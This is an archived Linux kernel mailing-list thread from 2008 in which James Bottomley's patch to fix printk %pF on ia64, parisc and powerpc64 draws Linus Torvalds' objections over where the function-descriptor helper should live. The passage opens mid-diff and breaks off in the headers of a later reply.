 #define ARCH_SHF_SMALL	SHF_IA_64_SHORT
 
+void *ia64_dereference_function_descriptor(void *);
+#define dereference_function_descriptor(p) \
+	ia64_dereference_function_descriptor(p)
+
 #endif /* _ASM_IA64_MODULE_H */
diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index 29aad34..4aca326 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -31,6 +31,7 @@
 #include <linux/elf.h>
 #include <linux/moduleloader.h>
 #include <linux/string.h>
+#include <linux/uaccess.h>
 #include <linux/vmalloc.h>
 
 #include <asm/patch.h>
@@ -941,3 +942,11 @@ module_arch_cleanup (struct module *mod)
 	if (mod->arch.core_unw_table)
 		unw_remove_unwind_table(mod->arch.core_unw_table);
 }
+
+void *ia64_dereference_function_descriptor(void *ptr)
+{
+	void *p;
+	if (!probe_kernel_address(ptr, p))
+		ptr = p;
+	return ptr;
+}
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index fdacdd4..6ec3b07 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -47,6 +47,7 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/bug.h>
+#include <linux/uaccess.h>
 
 #include <asm/unwind.h>
 
@@ -860,3 +861,15 @@ void module_arch_cleanup(struct module *mod)
 	deregister_unwind_table(mod);
 	module_bug_cleanup(mod);
 }
+
+#ifdef CONFIG_64BIT
+void *parisc_dereference_function_descriptor(void *ptr)
+{
+	Elf64_Fdesc *desc = ptr;
+	void *p;
+
+	if (!probe_kernel_address(&desc->addr, p))
+		ptr = p;
+	return ptr;
+}
+#endif
diff --git a/arch/powerpc/include/asm/module.h b/arch/powerpc/include/asm/module.h
index e5f14b1..a861b2c 100644
--- a/arch/powerpc/include/asm/module.h
+++ b/arch/powerpc/include/asm/module.h
@@ -73,5 +73,11 @@ struct exception_table_entry;
 void sort_ex_table(struct exception_table_entry *start,
 		   struct exception_table_entry *finish);
 
+#ifdef __powerpc64__
+void *powerpc64_dereference_function_descriptor(void *);
+#define dereference_function_descriptor(p) \
+	powerpc64_dereference_function_descriptor(p)
+#endif
+
 #endif /* __KERNEL__ */
 #endif	/* _ASM_POWERPC_MODULE_H */
diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
index ee6a298..e814c2a 100644
--- a/arch/powerpc/kernel/module_64.c
+++ b/arch/powerpc/kernel/module_64.c
@@ -21,6 +21,7 @@
 #include <linux/err.h>
 #include <linux/vmalloc.h>
 #include <linux/bug.h>
+#include <linux/uaccess.h>
 #include <asm/module.h>
 #include <asm/uaccess.h>
 #include <asm/firmware.h>
@@ -451,3 +452,11 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
 
 	return 0;
 }
+
+void *powerpc64_dereference_function_descriptor(void *ptr)
+{
+	void *p;
+	if (!probe_kernel_address(ptr, p))
+		ptr = p;
+	return ptr;
+}
diff --git a/include/asm-parisc/module.h b/include/asm-parisc/module.h
index c2cb49e..f5f971b 100644
--- a/include/asm-parisc/module.h
+++ b/include/asm-parisc/module.h
@@ -29,4 +29,10 @@ struct mod_arch_specific
 	struct unwind_table *unwind;
 };
 
+#ifdef CONFIG_64BIT
+void *parisc_dereference_function_descriptor(void *);
+#define dereference_function_descriptor(p) \
+	parisc_dereference_function_descriptor(p)
+#endif
+
 #endif /* _ASM_PARISC_MODULE_H */
diff --git a/include/linux/module.h b/include/linux/module.h
index 68e0955..a549f89 100644
--- a/include/linux/module.h
+++ b/include/linux/module.h
@@ -76,6 +76,11 @@ void sort_extable(struct exception_table_entry *start,
 		  struct exception_table_entry *finish);
 void sort_main_extable(void);
 
+/* function descriptor handling (if any) */
+#ifndef dereference_function_descriptor
+#define dereference_function_descriptor(p) (p)
+#endif
+
 #ifdef MODULE
 #define MODULE_GENERIC_TABLE(gtype,name)			\
 extern const struct gtype##_id __mod_##gtype##_table		\
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index d8d1d11..0c47629 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -513,16 +513,6 @@ static char *string(char *buf, char *end, char *s, int field_width, int precisio
 	return buf;
 }
 
-static inline void *dereference_function_descriptor(void *ptr)
-{
-#if defined(CONFIG_IA64) || defined(CONFIG_PPC64)
-	void *p;
-	if (!probe_kernel_address(ptr, p))
-		ptr = p;
-#endif
-	return ptr;
-}

From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 3 Sep 2008 15:54:43 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
References: <1220473137.3254.29.camel@localhost.localdomain>  <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org> <1220481754.3254.42.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1220482579 9192 80.91.229.12 (3 Sep 2008 22:56:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Sep 2008 22:56:19 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-ia64@vger.kernel.org, linuxppc-dev@ozlabs.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Sep 04 00:57:13 2008
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kb1GV-0000rR-TR
	for glka-linux-arch@gmane.org; Thu, 04 Sep 2008 00:55:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756204AbYICWyx (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 3 Sep 2008 18:54:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756200AbYICWyx
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 3 Sep 2008 18:54:53 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:32869 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756170AbYICWyv (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 3 Sep 2008 18:54:51 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m83MsiIp023510
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 3 Sep 2008 15:54:45 -0700
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m83MshNc008360;
	Wed, 3 Sep 2008 15:54:44 -0700
In-Reply-To: <1220481754.3254.42.camel@localhost.localdomain>
User-Agent: Alpine 1.10 (LFD 962 2008-03-14)
X-Spam-Status: No, hits=-5.431 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:2085 gmane.linux.ports.parisc:700 gmane.linux.ports.ia64:19395 gmane.linux.ports.ppc64.devel:46488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/700>



On Wed, 3 Sep 2008, James Bottomley wrote:
> 
> Is that finally final?  because the last time I tried to do the above
> for a voyager override I was told weak functions were the preferred
> method ...

Weak functions are fine IF THEY DO SOMETHING REAL AND SHOULD BE FUNCTIONS 
IN THE FIRST PLACE!

IOW, if the default behaviour is actually something that should be a 
function, then a weak function is the simplest and most appropriate way of 
doing thigns.

But if the default behaviour is to not do anything at all, then a weak 
function simply doesn't work - because it will always generate that stupid 
and useless function call. And then you have to have per-architecture 
inline functions.

And in order to avoid having all 99 architectures that don't care at all 
add an empty inline function, then you essentially have to use a #define 
to allow us to detect at compile-time that no function existed.

> Anyway, it's easy to do (if a slightly larger diff) ... I have to move
> the prototype from include/kernel.h to include/module.h because I need
> an assured asm/xxx include before it to get the override.

I don't really see what this has to do with module.h, though.

Why do this in <linux/module.h>?  Why not just do it in lib/vsptintf.c 
which is the only place that cares? None of this needs to pollute the 
generic header files that simply don't care.

			Linus

From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 03 Sep 2008 18:00:53 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <1220482853.3254.47.camel@localhost.localdomain>
References: <1220473137.3254.29.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>
	 <1220481754.3254.42.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220482869 10248 80.91.229.12 (3 Sep 2008 23:01:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Sep 2008 23:01:09 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-ia64@vger.kernel.org, linuxppc-dev@ozlabs.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Sep 04 01:02:02 2008
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kb1MP-0003eg-JF
	for glpi-linux-ia64-2@gmane.org; Thu, 04 Sep 2008 01:02:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752557AbYICXA6 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 3 Sep 2008 19:00:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753208AbYICXA5
	(ORCPT <rfc822;linux-ia64-outgoing>); Wed, 3 Sep 2008 19:00:57 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:48584 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756568AbYICXAz (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 3 Sep 2008 19:00:55 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 0F44A8037;
	Wed,  3 Sep 2008 18:00:54 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hqDpCHrbkzFR; Wed,  3 Sep 2008 18:00:52 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id B64917F6D;
	Wed,  3 Sep 2008 18:00:52 -0500 (CDT)
In-Reply-To: <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:19396 gmane.linux.kernel.cross-arch:2086 gmane.linux.ports.parisc:701 gmane.linux.ports.ppc64.devel:46489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/701>

On Wed, 2008-09-03 at 15:54 -0700, Linus Torvalds wrote:
> > Anyway, it's easy to do (if a slightly larger diff) ... I have to move
> > the prototype from include/kernel.h to include/module.h because I need
> > an assured asm/xxx include before it to get the override.
> 
> I don't really see what this has to do with module.h, though.
> 
> Why do this in <linux/module.h>?  Why not just do it in lib/vsptintf.c 
> which is the only place that cares? None of this needs to pollute the 
> generic header files that simply don't care.

You want me to pull the elf header files into lib/vsprintf.c and have
something like

static inline void *dereference_function_descritpor(void *ptr)
{
#if defined(CONFIG_IA64) || defined(CONFIG_PPC64)
	void *p;
	if (!probe_kernel_address(ptr, p))
		ptr = p;
#elif defined(CONFIG_PARISC) && defined(CONFIG_64BITS)
	Elf64_Fptr *desc = ptr;
	void *p;
	if (!probe_kernel_address(&desc->addr, p))
		ptr = p;
#endif
	...

?

Because it just looks rather tacky ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 3 Sep 2008 16:15:08 -0700 (PDT)
Lines: 83
Approved: news@gmane.org
Message-ID: <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org>
References: <1220473137.3254.29.camel@localhost.localdomain>  <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>  <1220481754.3254.42.camel@localhost.localdomain>  <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
 <1220482853.3254.47.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1220483756 12597 80.91.229.12 (3 Sep 2008 23:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Sep 2008 23:15:56 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-ia64@vger.kernel.org, linuxppc-dev@ozlabs.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Sep 04 01:16:49 2008
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kb1ai-0000Ha-FS
	for glka-linux-arch@gmane.org; Thu, 04 Sep 2008 01:16:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752441AbYICXPq (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 3 Sep 2008 19:15:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752757AbYICXPq
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 3 Sep 2008 19:15:46 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:48395 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752441AbYICXPp (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 3 Sep 2008 19:15:45 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m83NF98P024836
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 3 Sep 2008 16:15:10 -0700
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m83NF83u009193;
	Wed, 3 Sep 2008 16:15:08 -0700
In-Reply-To: <1220482853.3254.47.camel@localhost.localdomain>
User-Agent: Alpine 1.10 (LFD 962 2008-03-14)
X-Spam-Status: No, hits=-5.432 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:2087 gmane.linux.ports.parisc:702 gmane.linux.ports.ia64:19398 gmane.linux.ports.ppc64.devel:46490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/702>



On Wed, 3 Sep 2008, James Bottomley wrote:
> 
> You want me to pull the elf header files into lib/vsprintf.c and have
> something like

No.

I want you to stop polluting <linux/module.h> with total and utter crap.

Please tell my WHY the hell you have

	diff --git a/include/linux/module.h b/include/linux/module.h
	index 68e0955..a549f89 100644
	--- a/include/linux/module.h
	+++ b/include/linux/module.h
	@@ -76,6 +76,11 @@ void sort_extable(struct exception_table_entry *start,
	                  struct exception_table_entry *finish);
	 void sort_main_extable(void);
	 
	+/* function descriptor handling (if any) */
	+#ifndef dereference_function_descriptor
	+#define dereference_function_descriptor(p) (p)
	+#endif
	+
	 #ifdef MODULE
	 #define MODULE_GENERIC_TABLE(gtype,name)                       \
	 extern const struct gtype##_id __mod_##gtype##_table           \

in your patch? What the _hell_ does that have to do with "module.h"?

Why the heck don't you just have that in the ONLY place that cares, namely 
lib/vfprintf.c?

In other words, WHY did you do something as stupid and totally 
unexplainable as

	diff --git a/lib/vsprintf.c b/lib/vsprintf.c
	index d8d1d11..0c47629 100644
	--- a/lib/vsprintf.c
	+++ b/lib/vsprintf.c
	@@ -513,16 +513,6 @@ static char *string(char *buf, char *end, char *s, int field_width, int precisio
	        return buf;
	 }
	 
	-static inline void *dereference_function_descriptor(void *ptr)
	-{
	-#if defined(CONFIG_IA64) || defined(CONFIG_PPC64)
	-       void *p;
	-       if (!probe_kernel_address(ptr, p))
	-               ptr = p;
	-#endif
	-       return ptr;
	-}
	-

when that thing _used_ to be in a place where it made sense? Why didn't 
you just change that already existing code to use a #ifdef instead?

Why do you move that to <linux/module.h>? It makes no sense.

And why do you put the arch-specific defines in <asm/module.h>? That makes 
no sense either. WHY?

As far as I can tell, the _only_ reason you happened to pick 
<linux/module.h> was literally that it is the first of our header files 
that lib/vsprintf.c includes. And quite frankly, that makes no sense. 

That's about as sensible as putting it into <linux/string.h>. 

Put those things in some _sane_ place. That means:

 - default non-implementation in lib/vsprintf.c, since there is no point 
   in putting it anywhere else, when it's not used anywhere else.

 - arch-specific implementations can go into some more sensible asm header 
   file that is more relevant. Maybe <asm/processor.h>?

IOW, I'm complaining about your totally senseless and apparently random 
choice of location.

			Linus

From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 03 Sep 2008 18:33:32 -0500
Lines: 111
Approved: news@gmane.org
Message-ID: <1220484812.3254.59.camel@localhost.localdomain>
References: <1220473137.3254.29.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>
	 <1220481754.3254.42.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
	 <1220482853.3254.47.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220484825 15188 80.91.229.12 (3 Sep 2008 23:33:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Sep 2008 23:33:45 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-ia64@vger.kernel.org, linuxppc-dev@ozlabs.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 01:34:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kb1ry-0004gg-JQ
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 01:34:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753537AbYICXdg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Sep 2008 19:33:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753661AbYICXdg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Sep 2008 19:33:36 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:54260 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753537AbYICXde (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Sep 2008 19:33:34 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 0911C8037;
	Wed,  3 Sep 2008 18:33:33 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XOQE6EME6LHc; Wed,  3 Sep 2008 18:33:31 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id B15F47F6D;
	Wed,  3 Sep 2008 18:33:31 -0500 (CDT)
In-Reply-To: <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:703 gmane.linux.kernel.cross-arch:2088 gmane.linux.ports.ia64:19399 gmane.linux.ports.ppc64.devel:46492
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/703>

On Wed, 2008-09-03 at 16:15 -0700, Linus Torvalds wrote:
> 
> On Wed, 3 Sep 2008, James Bottomley wrote:
> > 
> > You want me to pull the elf header files into lib/vsprintf.c and have
> > something like
> 
> No.
> 
> I want you to stop polluting <linux/module.h> with total and utter crap.
> 
> Please tell my WHY the hell you have
> 
> 	diff --git a/include/linux/module.h b/include/linux/module.h
> 	index 68e0955..a549f89 100644
> 	--- a/include/linux/module.h
> 	+++ b/include/linux/module.h
> 	@@ -76,6 +76,11 @@ void sort_extable(struct exception_table_entry *start,
> 	                  struct exception_table_entry *finish);
> 	 void sort_main_extable(void);
> 	 
> 	+/* function descriptor handling (if any) */
> 	+#ifndef dereference_function_descriptor
> 	+#define dereference_function_descriptor(p) (p)
> 	+#endif
> 	+
> 	 #ifdef MODULE
> 	 #define MODULE_GENERIC_TABLE(gtype,name)                       \
> 	 extern const struct gtype##_id __mod_##gtype##_table           \
> 
> in your patch? What the _hell_ does that have to do with "module.h"?
> 
> Why the heck don't you just have that in the ONLY place that cares, namely 
> lib/vfprintf.c?

Oh ... because Arjan has a patch to export
dereference_function_descriptor.  I suppose I could make him do the
heavy lifting, but it seemed sensible to make it easy for him (and me)
by putting it in a header.

http://marc.info/?l=linux-kernel&m=121976793429869

It's already in Ingo's tree, so it will be upstream soon.

> In other words, WHY did you do something as stupid and totally 
> unexplainable as
> 
> 	diff --git a/lib/vsprintf.c b/lib/vsprintf.c
> 	index d8d1d11..0c47629 100644
> 	--- a/lib/vsprintf.c
> 	+++ b/lib/vsprintf.c
> 	@@ -513,16 +513,6 @@ static char *string(char *buf, char *end, char *s, int field_width, int precisio
> 	        return buf;
> 	 }
> 	 
> 	-static inline void *dereference_function_descriptor(void *ptr)
> 	-{
> 	-#if defined(CONFIG_IA64) || defined(CONFIG_PPC64)
> 	-       void *p;
> 	-       if (!probe_kernel_address(ptr, p))
> 	-               ptr = p;
> 	-#endif
> 	-       return ptr;
> 	-}
> 	-
> 
> when that thing _used_ to be in a place where it made sense? Why didn't 
> you just change that already existing code to use a #ifdef instead?
> 
> Why do you move that to <linux/module.h>? It makes no sense.
> 
> And why do you put the arch-specific defines in <asm/module.h>? That makes 
> no sense either. WHY?
> 
> As far as I can tell, the _only_ reason you happened to pick 
> <linux/module.h> was literally that it is the first of our header files 
> that lib/vsprintf.c includes. And quite frankly, that makes no sense. 
> 
> That's about as sensible as putting it into <linux/string.h>. 
> 
> Put those things in some _sane_ place. That means:
> 
>  - default non-implementation in lib/vsprintf.c, since there is no point 
>    in putting it anywhere else, when it's not used anywhere else.
> 
>  - arch-specific implementations can go into some more sensible asm header 
>    file that is more relevant. Maybe <asm/processor.h>?
> 
> IOW, I'm complaining about your totally senseless and apparently random 
> choice of location.

Because arch/../kernel/module.c is where we put the in-kernel linker
which uses the function descriptors and already processes them.

The original patch put the prototype in kernel.h, but kernel.h doesn't
include too many files before it, so if I'm putting the arch
implementation in module.c, it makes sense to me to put the headers in
linux/module.h and asm/module.h being the natural pair belonging to
arch/kernel/module.c

So if I use asm/processor.h, you want me to add that to linux/kernel.h
and move the prototypes back in there?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 3 Sep 2008 17:01:52 -0700 (PDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <alpine.LFD.1.10.0809031636320.3515@nehalem.linux-foundation.org>
References: <1220473137.3254.29.camel@localhost.localdomain>  <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>  <1220481754.3254.42.camel@localhost.localdomain>  <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org> 
 <1220482853.3254.47.camel@localhost.localdomain>  <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org> <1220484812.3254.59.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1220486565 19106 80.91.229.12 (4 Sep 2008 00:02:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 00:02:45 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-ia64@vger.kernel.org, linuxppc-dev@ozlabs.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Sep 04 02:03:39 2008
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kb2K0-00026f-DB
	for glpi-linux-ia64-2@gmane.org; Thu, 04 Sep 2008 02:03:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752529AbYIDACd (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 3 Sep 2008 20:02:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752114AbYIDACd
